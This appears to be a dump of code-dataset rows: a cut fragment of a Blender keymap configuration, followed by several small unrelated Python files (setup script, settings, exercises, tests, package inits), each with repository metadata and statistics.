"value": 'PRESS', "repeat": True}, None), ("uv.pin", {"type": 'P', "value": 'PRESS', "repeat": True}, {"properties": [("clear", False), ], }, ), ("uv.pin", {"type": 'P', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("clear", True), ], }, ), ("uv.unwrap", {"type": 'U', "value": 'PRESS', "repeat": True}, None), ("uv.hide", {"type": 'H', "value": 'PRESS', "repeat": True}, {"properties": [("unselected", False), ], }, ), ("uv.hide", {"type": 'H', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("unselected", True), ], }, ), ("uv.reveal", {"type": 'H', "value": 'PRESS', "alt": True, "repeat": True}, None), ("wm.call_menu_pie", {"type": 'S', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'IMAGE_MT_uvs_snap_pie'), ], }, ), ("wm.call_menu", {"type": 'TAB', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("name", 'IMAGE_MT_uvs_select_mode'), ], }, ), ("wm.call_menu", {"type": 'TAB', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'IMAGE_MT_uvs_select_mode'), ], }, ), ("wm.call_menu_pie", {"type": 'O', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_proportional_editing_falloff_pie'), ], }, ), ("wm.context_toggle", {"type": 'O', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.use_proportional_edit'), ], }, ), ("transform.translate", {"type": 'G', "value": 'PRESS', "repeat": True}, None), ("transform.translate", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, None), ("transform.rotate", {"type": 'R', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("transform.resize", {"type": 'S', "value": 'PRESS', "repeat": True}, None), ("transform.shear", {"type": 'S', "value": 'PRESS', "shift": True, "alt": True, "oskey": True, "repeat": True}, None), ("transform.shear", {"type": 'S', "value": 'PRESS', "shift": True, "ctrl": True, "alt": True, "repeat": True}, None), ("transform.mirror", {"type": 'M', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("wm.context_toggle", {"type": 'TAB', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.use_snap'), ], }, ), ("wm.context_menu_enum", {"type": 'TAB', "value": 'PRESS', "shift": True, "oskey": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.snap_uv_element'), ], }, ), ("wm.context_menu_enum", {"type": 'TAB', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.snap_uv_element'), ], }, ), ("wm.call_menu", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'IMAGE_MT_uvs_context_menu'), ], "active":False, }, ), ("uv.select_loop", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK'}, {"properties": [("extend", False), ], }, ), ("uv.select_loop", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "alt": True}, {"properties": [("extend", True), ], }, ), ("uv.cursor_set", {"type": 'RIGHTMOUSE', "value": 'PRESS', "shift": True}, None), ("transform.translate", {"type": 'EVT_TWEAK_R', "value": 'ANY', "shift": True}, {"properties": [("cursor_transform", True), ("release_confirm", True), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_box'), ("cycle", True), ], "active":False, }, ), ("wm.call_menu_pie", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_maya_pie_menu'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.move'), ], }, ), ("wm.tool_set_by_id", {"type": 'E', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.rotate'), ], }, ), ("wm.tool_set_by_id", {"type": 'R', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.scale'), ], }, ), ("bpy.ops.image.view_selected()", {"type": 'F', "value": 'PRESS', "repeat": True}, None), ], }, ), ("View2D", {"space_type": 'EMPTY', "region_type": 'WINDOW'}, {"items": [("view2d.scroller_activate", {"type": 'LEFTMOUSE', "value": 'PRESS'}, None), ("view2d.scroller_activate", {"type": 'MIDDLEMOUSE', "value": 'PRESS'}, None), ("view2d.pan", {"type": 'MIDDLEMOUSE', "value": 'PRESS'}, None), ("view2d.pan", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "shift": True}, None), ("view2d.pan", {"type": 'TRACKPADPAN', "value": 'ANY'}, None), ("view2d.scroll_right", {"type": 'WHEELDOWNMOUSE', "value": 'PRESS', "ctrl": True}, None), ("view2d.scroll_left", {"type": 'WHEELUPMOUSE', "value": 'PRESS', "ctrl": True}, None), ("view2d.scroll_down", {"type": 'WHEELDOWNMOUSE', "value": 'PRESS', "shift": True}, None), ("view2d.scroll_up", {"type": 'WHEELUPMOUSE', "value": 'PRESS', "shift": True}, None), ("view2d.ndof", {"type": 'NDOF_MOTION', "value": 'ANY'}, None), ("view2d.zoom_out", {"type": 'WHEELOUTMOUSE', "value": 'PRESS'}, None), ("view2d.zoom_in", {"type": 'WHEELINMOUSE', "value": 'PRESS'}, None), ("view2d.zoom_out", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "repeat": True}, None), ("view2d.zoom_in", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "repeat": True}, None), ("view2d.zoom", {"type": 'TRACKPADPAN', "value": 'ANY', "ctrl": True}, None), ("view2d.smoothview", {"type": 'TIMER1', "value": 'ANY', "any": True}, None), ("view2d.scroll_down", {"type": 'WHEELDOWNMOUSE', "value": 'PRESS'}, None), ("view2d.scroll_up", {"type": 'WHEELUPMOUSE', "value": 'PRESS'}, None), ("view2d.scroll_right", {"type": 'WHEELDOWNMOUSE', "value": 'PRESS'}, None), ("view2d.scroll_left", {"type": 'WHEELUPMOUSE', "value": 'PRESS'}, None), ("view2d.zoom", {"type": 'RIGHTMOUSE', "value": 'PRESS', "alt": True}, None), ("view2d.zoom", {"type": 'TRACKPADZOOM', "value": 'ANY'}, None), ("view2d.zoom_border", {"type": 'B', "value": 'PRESS', "shift": True, "repeat": True}, None), ("view2d.pan", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "alt": True}, None), ], }, ), ] if __name__ == "__main__": # Only add keywords that are supported. from bpy.app import version as blender_version keywords = {} if blender_version >= (2, 92, 0): keywords["keyconfig_version"] = keyconfig_version import os from bl_keymap_utils.io import keyconfig_import_from_data keyconfig_import_from_data( os.path.splitext(os.path.basename(__file__))[0], keyconfig_data, **keywords, )
29.40129
135
0.473976
7,835
82,059
4.800766
0.051691
0.121231
0.133993
0.08348
0.914181
0.885069
0.833626
0.778992
0.654623
0.554341
0
0.005222
0.264968
82,059
2,790
136
29.411828
0.618393
0.000451
0
0.701471
0
0
0.418666
0.050914
0
0
0
0
0
1
0
false
0
0.001435
0
0.001435
0
0
0
0
null
0
0
0
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7d1f7e4f6b1ef360e1d4b5b53b49bfbf27806204
30
py
Python
django/code/TheSphinx/tests/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
4
2021-05-16T18:02:30.000Z
2021-05-21T16:32:17.000Z
django/code/TheSphinx/tests/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
5
2021-05-07T16:31:27.000Z
2021-06-04T12:24:28.000Z
django/code/TheSphinx/tests/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
2
2021-05-24T06:56:53.000Z
2021-08-05T10:10:58.000Z
from TheSphinx.tests import *
15
29
0.8
4
30
6
1
0
0
0
0
0
0
0
0
0
0
0
0.133333
30
1
30
30
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
adc90715b18bfa9202faf400c0c508edd2617776
118
py
Python
2019 Pipeline/proc_setup.py
cpostbitbuckets/BucketVision
9184234df48f405a30e5b72296f695da154637d4
[ "MIT" ]
1
2019-04-01T00:14:57.000Z
2019-04-01T00:14:57.000Z
2019 Pipeline/proc_setup.py
cpostbitbuckets/BucketVision
9184234df48f405a30e5b72296f695da154637d4
[ "MIT" ]
2
2019-01-20T21:43:57.000Z
2019-03-31T22:22:37.000Z
2019 Pipeline/proc_setup.py
cpostbitbuckets/BucketVision
9184234df48f405a30e5b72296f695da154637d4
[ "MIT" ]
11
2019-01-12T01:52:55.000Z
2019-10-07T19:17:55.000Z
from distutils.core import setup from Cython.Build import cythonize setup(ext_modules=cythonize("processimage.py"))
19.666667
47
0.822034
16
118
6
0.75
0
0
0
0
0
0
0
0
0
0
0
0.09322
118
5
48
23.6
0.897196
0
0
0
0
0
0.127119
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
add2fca8654c5f7c8c99a9aaec245e3213621bb5
316
py
Python
PythonExercicios/des002.py
leuosilveira/Exercicios-Python_Curso-em-Video
17793a5dde868dd6c9a34604ade4b68582db4563
[ "MIT" ]
null
null
null
PythonExercicios/des002.py
leuosilveira/Exercicios-Python_Curso-em-Video
17793a5dde868dd6c9a34604ade4b68582db4563
[ "MIT" ]
null
null
null
PythonExercicios/des002.py
leuosilveira/Exercicios-Python_Curso-em-Video
17793a5dde868dd6c9a34604ade4b68582db4563
[ "MIT" ]
null
null
null
print('Olá! Vou te ajudar a avaliar o tipo de algo que você digitar.') a = input('Por favor, digite algo: ') print('o tipo primitivo deste valor é {}. Ele só tem Espaços? {}. Ele é um Número? {}. Ele está em maúsculo? {}. Ele está em minúsculo? {}'.format(type(a),a.isspace(),a.isnumeric(),a.isupper(),a.islower()))
79
206
0.674051
54
316
3.944444
0.703704
0.046948
0.084507
0
0
0
0
0
0
0
0
0
0.148734
316
3
207
105.333333
0.791822
0
0
0
0
0.333333
0.683544
0
0
0
0
0
0
1
0
false
0
0
0
0
0.666667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
bc0b10128f03f21c904154204bdadb4770a04416
45
py
Python
rt_temperature/local_settings.py
ajfisher/realtime-temperature
f0b66474dce6dc1c5b7615fc0d634e83cd85fac9
[ "BSD-3-Clause" ]
2
2015-05-30T06:05:41.000Z
2016-04-05T14:15:15.000Z
rt_temperature/local_settings.py
ajfisher/realtime-temperature
f0b66474dce6dc1c5b7615fc0d634e83cd85fac9
[ "BSD-3-Clause" ]
1
2022-03-18T21:21:29.000Z
2022-03-21T15:14:14.000Z
rt_temperature/local_settings.py
ajfisher/realtime-temperature
f0b66474dce6dc1c5b7615fc0d634e83cd85fac9
[ "BSD-3-Clause" ]
null
null
null
SOCKETIO_HOST = 0.0.0.0 SOCKETIO_PORT = 80
9
23
0.711111
9
45
3.333333
0.555556
0.2
0.2
0
0
0
0
0
0
0
0
0.162162
0.177778
45
4
24
11.25
0.648649
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
bc2261338fa8be6aff3ee336f69ebb64319afede
159
py
Python
visualizations/__init__.py
alliemacleay/misc
d3429c07e85ca7234c8102e128888b7c3ee88e0d
[ "MIT" ]
null
null
null
visualizations/__init__.py
alliemacleay/misc
d3429c07e85ca7234c8102e128888b7c3ee88e0d
[ "MIT" ]
null
null
null
visualizations/__init__.py
alliemacleay/misc
d3429c07e85ca7234c8102e128888b7c3ee88e0d
[ "MIT" ]
null
null
null
""" (c) MGH Center for Integrated Diagnostics """ from __future__ import print_function from __future__ import absolute_import __author__ = 'Allison MacLeay'
19.875
41
0.798742
19
159
5.947368
0.789474
0.176991
0.283186
0
0
0
0
0
0
0
0
0
0.132075
159
8
42
19.875
0.818841
0.257862
0
0
0
0
0.135135
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0.333333
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
70b293e5616068150926df89ce5c683df17cb9ef
120
py
Python
02-functions/rectangle_area.py
alvgaona/PC
dc043861a7246c228f40d882b70faa6b9623b05b
[ "MIT" ]
2
2022-03-29T16:40:32.000Z
2022-03-29T16:42:34.000Z
02-functions/rectangle_area.py
alvgaona/PC
dc043861a7246c228f40d882b70faa6b9623b05b
[ "MIT" ]
null
null
null
02-functions/rectangle_area.py
alvgaona/PC
dc043861a7246c228f40d882b70faa6b9623b05b
[ "MIT" ]
null
null
null
def rectangle_area(base, height): return base * height if __name__ == '__main__': print(rectangle_area(2, 2))
17.142857
33
0.683333
16
120
4.5
0.6875
0.361111
0
0
0
0
0
0
0
0
0
0.020619
0.191667
120
6
34
20
0.721649
0
0
0
0
0
0.066667
0
0
0
0
0
0
1
0.25
false
0
0
0.25
0.5
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
5
70c0df308d369e4931b93b0fdaf6190248de8ada
86
py
Python
request_mixin/__init__.py
MoHKale/RequestMixin
d552e92afc78acf331ed66251e86ba71c87a72a0
[ "MIT" ]
null
null
null
request_mixin/__init__.py
MoHKale/RequestMixin
d552e92afc78acf331ed66251e86ba71c87a72a0
[ "MIT" ]
null
null
null
request_mixin/__init__.py
MoHKale/RequestMixin
d552e92afc78acf331ed66251e86ba71c87a72a0
[ "MIT" ]
null
null
null
from .request_mixin import create_request_mixin RequestMixin = create_request_mixin()
28.666667
47
0.872093
11
86
6.363636
0.545455
0.514286
0.514286
0
0
0
0
0
0
0
0
0
0.081395
86
3
48
28.666667
0.886076
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
70d76ad3f9c2fafdb7ddbe3b9ad4b8e24f9296d4
321
py
Python
scriptable/ast/function/__init__.py
c7nw3r/scriptable
b285d865da41774c8321ebf51f5a468ef1c92402
[ "Apache-2.0" ]
null
null
null
scriptable/ast/function/__init__.py
c7nw3r/scriptable
b285d865da41774c8321ebf51f5a468ef1c92402
[ "Apache-2.0" ]
null
null
null
scriptable/ast/function/__init__.py
c7nw3r/scriptable
b285d865da41774c8321ebf51f5a468ef1c92402
[ "Apache-2.0" ]
null
null
null
from .function import Function from .function_access import FunctionAccess from .function_arg import FunctionArg from .function_arg_def import FunctionArgDef from .function_call import FunctionCall from .function_head import FunctionHead from .function_lambda import FunctionLambda from .function_tail import FunctionTail
40.125
44
0.878505
40
321
6.85
0.425
0.350365
0.109489
0
0
0
0
0
0
0
0
0
0.096573
321
8
45
40.125
0.944828
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
cb7eb70b4b946844d7f271d02f70a64f8c304622
55
py
Python
cride/users/views/__init__.py
jecs580/django_second_app
ef04b48342ef560eac8f58540ba684e5eb7d7926
[ "MIT" ]
null
null
null
cride/users/views/__init__.py
jecs580/django_second_app
ef04b48342ef560eac8f58540ba684e5eb7d7926
[ "MIT" ]
2
2019-12-24T00:03:49.000Z
2019-12-24T00:03:50.000Z
cride/users/views/__init__.py
jecs580/django_second_app
ef04b48342ef560eac8f58540ba684e5eb7d7926
[ "MIT" ]
null
null
null
from .users import * # Del archivo users importa todo.
27.5
33
0.745455
8
55
5.125
0.875
0
0
0
0
0
0
0
0
0
0
0
0.181818
55
2
33
27.5
0.911111
0.563636
0
0
0
0
0
0
0
0
0
0.5
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
1
0
0
0
0
5
cb893a7b4e31093ee0a14ab0a0390b4e97f0169f
49
py
Python
_class_/util/dateutil/timeutil.py
edisonlz/c1_course_python
e6838596ca118c62ee533176d731efa65f62bf85
[ "Apache-2.0" ]
1
2019-12-23T13:34:31.000Z
2019-12-23T13:34:31.000Z
_class_/util/dateutil/timeutil.py
edisonlz/c1_course_python
e6838596ca118c62ee533176d731efa65f62bf85
[ "Apache-2.0" ]
null
null
null
_class_/util/dateutil/timeutil.py
edisonlz/c1_course_python
e6838596ca118c62ee533176d731efa65f62bf85
[ "Apache-2.0" ]
null
null
null
def time_to_string(t): print("%s" % t )
12.25
22
0.510204
8
49
2.875
0.875
0
0
0
0
0
0
0
0
0
0
0
0.306122
49
4
23
12.25
0.676471
0
0
0
0
0
0.040816
0
0
0
0
0
0
1
0.5
false
0
0
0
0.5
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
1
0
5
cb94c47a597f48e8be693d6f06b0aa0976f22804
251
py
Python
tests/test_callable/test_floordiv.py
ariebovenberg/lambdas
4ecd3cf19fb0c2f55470f79138b989b3b69b3710
[ "BSD-2-Clause" ]
null
null
null
tests/test_callable/test_floordiv.py
ariebovenberg/lambdas
4ecd3cf19fb0c2f55470f79138b989b3b69b3710
[ "BSD-2-Clause" ]
null
null
null
tests/test_callable/test_floordiv.py
ariebovenberg/lambdas
4ecd3cf19fb0c2f55470f79138b989b3b69b3710
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from lambdas import _ def test_floordiv(): """Ensures that add works correctly.""" assert (_ // 5)(33) == 6 def test_rfloordiv(): """Ensures that add works correctly.""" assert (_ // 5)(33) == (33 // _)(5)
17.928571
43
0.565737
31
251
4.387097
0.612903
0.102941
0.205882
0.279412
0.544118
0.544118
0.544118
0.544118
0
0
0
0.056995
0.231076
251
13
44
19.307692
0.647668
0.358566
0
0
0
0
0
0
0
0
0
0
0.4
1
0.4
true
0
0.2
0
0.6
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
5
cbbe06ccfeff11e7edfd7983ea5fb5ecb09c8208
72
py
Python
tests/python/SquaresOfSortedArray/sortedSquares.py
zlc18/LocalJudge
e8b141d2e80087d447a45cce36bac27b4ddb9cd1
[ "MIT" ]
null
null
null
tests/python/SquaresOfSortedArray/sortedSquares.py
zlc18/LocalJudge
e8b141d2e80087d447a45cce36bac27b4ddb9cd1
[ "MIT" ]
null
null
null
tests/python/SquaresOfSortedArray/sortedSquares.py
zlc18/LocalJudge
e8b141d2e80087d447a45cce36bac27b4ddb9cd1
[ "MIT" ]
null
null
null
def sortedSquares(self, A): return list(sorted([a ** 2 for a in A]))
36
44
0.638889
13
72
3.538462
0.769231
0
0
0
0
0
0
0
0
0
0
0.017241
0.194444
72
2
44
36
0.775862
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
cbc5718b1a76bab6ed5a22a16d6ce346e706b129
246
py
Python
interfaces/zookeeper/peers.py
centauri-charmers/charm-nodepool
823ef2575921c86f3dd46c04e7c84f131c41e594
[ "Apache-2.0" ]
null
null
null
interfaces/zookeeper/peers.py
centauri-charmers/charm-nodepool
823ef2575921c86f3dd46c04e7c84f131c41e594
[ "Apache-2.0" ]
null
null
null
interfaces/zookeeper/peers.py
centauri-charmers/charm-nodepool
823ef2575921c86f3dd46c04e7c84f131c41e594
[ "Apache-2.0" ]
null
null
null
from charms.reactive import set_flag, clear_flag, when from charms.reactive import Endpoint class ZookeeperPeer(Endpoint): @when('endpoint.{endpoint_name}.joined') def peer_joined(self): set_flag(self.expand_name('available'))
24.6
54
0.752033
32
246
5.59375
0.5625
0.111732
0.201117
0.268156
0
0
0
0
0
0
0
0
0.142276
246
9
55
27.333333
0.848341
0
0
0
0
0
0.162602
0.126016
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.666667
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
1dcf5556e58b7b20f47ccc69ec972d59f7863879
69
py
Python
display.py
JAnderton/desktoppr-downloader
beb44dfb6e817967f8db1c0b5bdf625dfc2aaef8
[ "Apache-2.0" ]
2
2017-12-12T14:56:16.000Z
2019-07-06T12:01:36.000Z
display.py
javatarz/desktoppr-downloader
beb44dfb6e817967f8db1c0b5bdf625dfc2aaef8
[ "Apache-2.0" ]
null
null
null
display.py
javatarz/desktoppr-downloader
beb44dfb6e817967f8db1c0b5bdf625dfc2aaef8
[ "Apache-2.0" ]
1
2017-02-13T21:06:02.000Z
2017-02-13T21:06:02.000Z
__author__ = 'karunab' def get_resolution(): return 2880, 1800
11.5
22
0.695652
8
69
5.375
1
0
0
0
0
0
0
0
0
0
0
0.145455
0.202899
69
5
23
13.8
0.636364
0
0
0
0
0
0.101449
0
0
0
0
0
0
1
0.333333
false
0
0
0.333333
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5